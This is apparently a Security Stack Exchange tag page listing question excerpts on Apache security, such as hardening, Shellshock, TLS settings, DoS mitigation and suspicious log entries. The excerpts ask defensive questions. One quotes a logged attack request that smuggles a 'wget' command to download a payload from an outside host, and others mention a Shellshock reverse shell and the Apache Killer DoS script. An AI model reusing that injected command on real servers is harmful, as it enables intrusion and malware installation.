Questions about the security of Apache open source software, especially Apache HTTP Server

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88
votes
11answers
22k views

Apache Server Hardening

What are some best practices, recommendations, required reading for securing an Apache Server?
40
votes
4answers
34k views

How do I secure Apache against the Bash Shellshock vulnerability?

I have an Apache webserver running, and with the recent news of the Shellsock exploit against bash I was wondering if my webserver is vulnerable. I don't think it is, but I want to make sure I'm not ...
36
votes
4answers
11k views

Is using Git for deploying a bad practice?

I tend to use Git for deploying production code to the web server. That usually means that somewhere a master Git repository is hosted somewhere accessible over ssh, and the production server serves ...
33
votes
9answers
2k views

Use additional “password” in Referer to hide private site?

I have a private (= I'm the only user) site at example.com/private/. Nothing else is published at this host (it's my domain). I don't want anyone to know that there is anything at example.com, ...
22
votes
8answers
14k views

Can I detect web app attacks by viewing my Apache log file? [closed]

I occasionally get clients requesting I look at their access_log file to determine if any web attacks were successful. What tools are helpful to discern attacks?
20
votes
2answers
3k views

HSTS extra security over HTTPS

Is HSTS good to use even if my servers are configured to use HTTPS (Even if HTTP is used, the rewrite rules in apache makes it to HTTPS) Also does HSTS make even the resources like CSS, images to be ...
20
votes
3answers
13k views

Is there a way to mitigate BEAST without disabling AES completely?

It seems that the easiest way to protect users against the BEAST attack on TLS <= 1.0 is to prefer RC4 or even disable all other (CBC) cipher suites altogether, e.g. by specifying something like ...
19
votes
8answers
3k views

Should a site have SSL if it doesn't have a login form?

We have a site at work that is used for the following: Our homepage, which is just some info and contact info. Job applications are also handled on our site. There is no place where you can login ...
17
votes
2answers
1k views

PHP attack string in access logs

So one of the Invision Power Board installations on my server was recently compromised. I found what seemed to be the attack (using PHP in the query string and carefully crafted cookies), and I ...
16
votes
6answers
43k views

Testing for HTTP TRACE method

How can I test for HTTP TRACE on my web-server? I need to train a Tester how to verify that the HTTP TRACE method is disabled. Ideally I need a script to paste into Firebug to initiate a https ...
15
votes
4answers
2k views

(How) Can outsiders discover the pages that are being hosted on my server?

I have a web site hosted from my server. Sometimes, I upload database manipulation scripts to a folder which is three levels deep in the website and run them using my web browser. These scripts ...
14
votes
4answers
1k views

Is displaying what server I am running on the error pages a security risk?

I just noticed that my 403 Forbidden (the default, not a custom one) page displays some server info: Apache/2.2.3 (Red Hat) Server at ... Port 80 Is revealing this information a security risk?
14
votes
2answers
3k views

Security implications of having files owned by the apache user?

Currently running a LAMP instance that developers are using for a variety of webapps. I have the following scenario: Multiple developers need access to create and modify files under ...
13
votes
3answers
2k views

FTP hacked, planted file [closed]

Can anyone help me to understand what this does? Someone has planted a file with this piece of code on my server.It is shortened because it cannot fit the question, but just to have some idea what ...
12
votes
5answers
3k views

Apache/Linux server, DoS attack from own IP

I have an unusual problem I've been trying to diagnose for a while: It's about a Debian server running a custom compile of apache 2.2 with PHP, Red5, MySQL 5.5 (standard binary), sendmail (distro ...
11
votes
2answers
8k views

Implications of Trace/Track Methods on Apache

When performing vulnerability scans using Nessus, against a host running Apache, one expected result is always "HTTP TRACE / TRACK Methods Allowed". While this result only has a base CVSS of 4.3, I ...
11
votes
5answers
11k views

How safe is it to install XAMPP on my home computer to test PHP code?

I want to test some PHP code and I figure the best way is to install XAMPP - but I'm nervous about installing server software on my home computer. Is it generally safe to install XAMPP (given that I ...
10
votes
4answers
1k views

Can .htaccess and .htpasswd really protect me?

I want to set up a kind of personal wiki where I can store various sensitive information. However to make it 100% portable and and just plain convineant, I want to put it on the Internet. I'm sure at ...
10
votes
3answers
947 views

Is Apache vulnerable to CVE-2015-1781?

Is Apache vulnerable to CVE-2015-1781 (buffer overflow in the gethostbyname_r() family of functions)? How can I quickly check if a system of mine is secure?
9
votes
2answers
1k views

Securing my web-server / website [closed]

Does anyone know of a comprehensive security guide about important basics / fundamentals which should be done to secure a web-server / website? A web link would do.
9
votes
4answers
957 views

Combat Apache Killer

Three days ago, KingCope released a simple Perl script to DoS Apache, aptly named Apache Killer. This script launches about 50 threads to request Partial Content from the server with optional GZIP ...
8
votes
2answers
13k views

Protect against POST //cgi-bin/php attacks?

I am being attacked with this cgi injection: POST ...
8
votes
2answers
13k views

How to mitigate SSL/TLS Protocol Initialization Vector Implementation Information Disclosure Vulnerability?

Disclaimer: I'm not a sysadmin, please try to give your answers in developer friendly language ;) I'm test scanning a fresh VPS image with Nessus and I'm getting plugin 58751. I tried figuring out ...
8
votes
1answer
242 views

Why Apache runs as unprivileged user?

Apache Web server as a security measure relinquishes its system privileges and runs as a normal unprivileged user before accepting clients over a networks. My Question is How this measure prevents ...
8
votes
3answers
2k views

Does the recommended course of action for preventing Logjam on Tomcat servers really eliminate all risks of weak DH keys?

Can anyone verify this fix secures against the Logjam vulnerability for Apache Tomcat? I'm sceptical about it's effectiveness, since it doesn't mention how to implement the user defined 2048 bit DH ...
8
votes
1answer
2k views

Experience with a recent DDoS attack on Apache

I originally posted a question here since I was not familiar with an actual distributed denial of service attack (DDoS) on my server. I noticed that my server is very slow in responding to HTTP ...
8
votes
1answer
7k views

How to secure a ActiveMQ?

Does anybody have experience with securing/hardening ActiveMQ? Check lists or guides would be welcome.
7
votes
4answers
4k views

Protecting against DOS attacks

Our current site is easily DOS'd. I can perform an AB test against it from Apache and it disappears for about 5-10 minutes. We have been having problems with others DOSing the site - to the point ...
7
votes
4answers
1k views

Does disabling .htaccess improve security?

I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
7
votes
3answers
8k views

How can I block an IP, if I'm getting many http requests in a second?

If some one tried force burst attack on my website, how can I block them? Ideally, I want to block an IP if I have many http/Apache requests in a second.
7
votes
5answers
1k views

Master thesis topic - mod_security

I've been playing with mod_security for some time and I'd like somehow to use it in my master thesis. I don't know exactly how this work could be more interesting than describing what mod_security ...
7
votes
1answer
13k views

How to disable cipher RC4 in ubuntu 12.04

I have been doing Network Scan for our box and Ncircle reported SSL Server support RC4 ciphers for SSLv3. Based on that I did a search and I plan to add to /etc/apache/conf.d/security the following: ...
6
votes
2answers
6k views

Chrome does not show green bar with EV SSL but firefox and IE does

I just installed a EV SSL certificate on my server. It has been done correctly and is working, the issue is that Chrome does not show the company name in the green address bar, just shows the green ...
6
votes
2answers
2k views

Escalating from Apache shell to root

I have one noob question.I tried to exploit shellshock on my Slackware linux server, but after I connect with reverse shell and User Agent I get that I am apache user and apache user don't have too ...
6
votes
1answer
694 views

Is enabling PHP script execution on HTML document file extensions a security concern?

I am working on a very old and messy site, which doesn't have a CMS, or a database. However, it has a lot of .htm and .php files. I need to add some PHP code to some of the .htm files, but want to ...
6
votes
2answers
218 views

HTTP daemon and Webroot permissions

We have a contracted web developer that uses deployment scripts to update and deploy web sites. In order for them to work they require write access to the whole webroot through the httpd user. I have ...
6
votes
2answers
639 views

How can I explain to the client that rfc2385 TCP MD5 Checksums can't be turned on for linux webservers?

I've had a long running conversation with a client where they perform a Rapid7 security scan which then warns about TCP MD5 checksums missing on port 80. This is what I think I know: RFC 2385 was ...
6
votes
1answer
1k views

Why these 2 regexp won't work as expected in ModSecurity?

PROBLEMRULE #1; SecRule REQUEST_URI "^/(|(.*)/)(lpt1|lpt2|lpt3|lpt4)(/|\.|\?|$)" "t:none,t:htmlEntityDecode,t:lowercase,t:removeWhitespace,block,msg:'X',id:'1000'" PROBLEMRULE #2; SecRule REQUEST_URI ...
5
votes
3answers
2k views

How to access directories disallowed in robots.txt?

While scanning my website with uniscan it found my robots.txt file which disallows access to /cgi-bin/ and other directories, but they are not accessible in browser. Is there a way to access the ...
5
votes
3answers
1k views

How can I defend against malicious GET requests?

My server is getting hit with a variety if requests like the following: Started GET "/key/values" ActionController::RoutingError (No route matches [GET] "/key/values") Started GET "/loaded" ...
5
votes
2answers
453 views

Identifying an ongoing exploit?

Recently I was contacted by a person saying that they had found a vulnerability in my site. They were able to prove it, by sending me a list of my own databases (some of which had been created but ...
5
votes
3answers
699 views

Can allowing a web application to move, copy and/or delete files outside of the server root be a security issue?

I am new at using and programming web applications, so I wanted to ask a question. Is it safe to execute os commands like copy and mv and delete from a web app that is running on an apache, or does it ...
5
votes
4answers
1k views

Server wide javascript injection

UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript. I'm troubleshooting a hacked website ...
5
votes
1answer
978 views

What on earth is this log entry in Apache?

error.log - Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8g mod_fastcgi/2.4.6 mod_fcgid/2.3.4 [Mon Oct 10 22:35:18 2011] [error] [client 91.212.226.95] (36)File name too long: access to ...
5
votes
1answer
1k views

Blacklist IP addresses based on number of 404s in Apache

I'm getting a lot of hackers spamming my domain with requests for files that just don't exist. This is eating up a lot of my allotted bandwidth and I'd like to blacklist these IP addresses. Is there ...
5
votes
2answers
3k views

url from another domain in my access log

Most of the time when I am looking for 404 errors in my access.log, I see attempts to access something like /phpMyAdmin/scripts/setup.php. This does not bother me so much, but few days ago I was ...
5
votes
1answer
1k views

Use Client Certificate using Self Signed CA while using Web Certificate of a publicly trusted CA

I would like to ask if it is possible to use different CA for the client certificate and the web certificate? For example, I would use Verisign to sign my web certificate while I use my Self Sign ...
5
votes
4answers
5k views

How to get an “A” on Qualys SSL Labs with Apache 2.2?

I've tried running Qualys' ssltest a few times and it keeps complaining that PFS isn't supported in some browsers. On their blog, they suggest a configuration for Apache 2.4 that should get an "A" ...
5
votes
3answers
981 views

Apache logs, suspicious logging apach0day

today I received this 16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day" so with ...
5
votes
1answer
426 views

Securely Store Credentials for Web Application Services in Apache

We are running a web application in python using wsgi with apache2, and must submit to a penetration test. The testers will be exploring the potential for damage if the attackers gain shell access as ...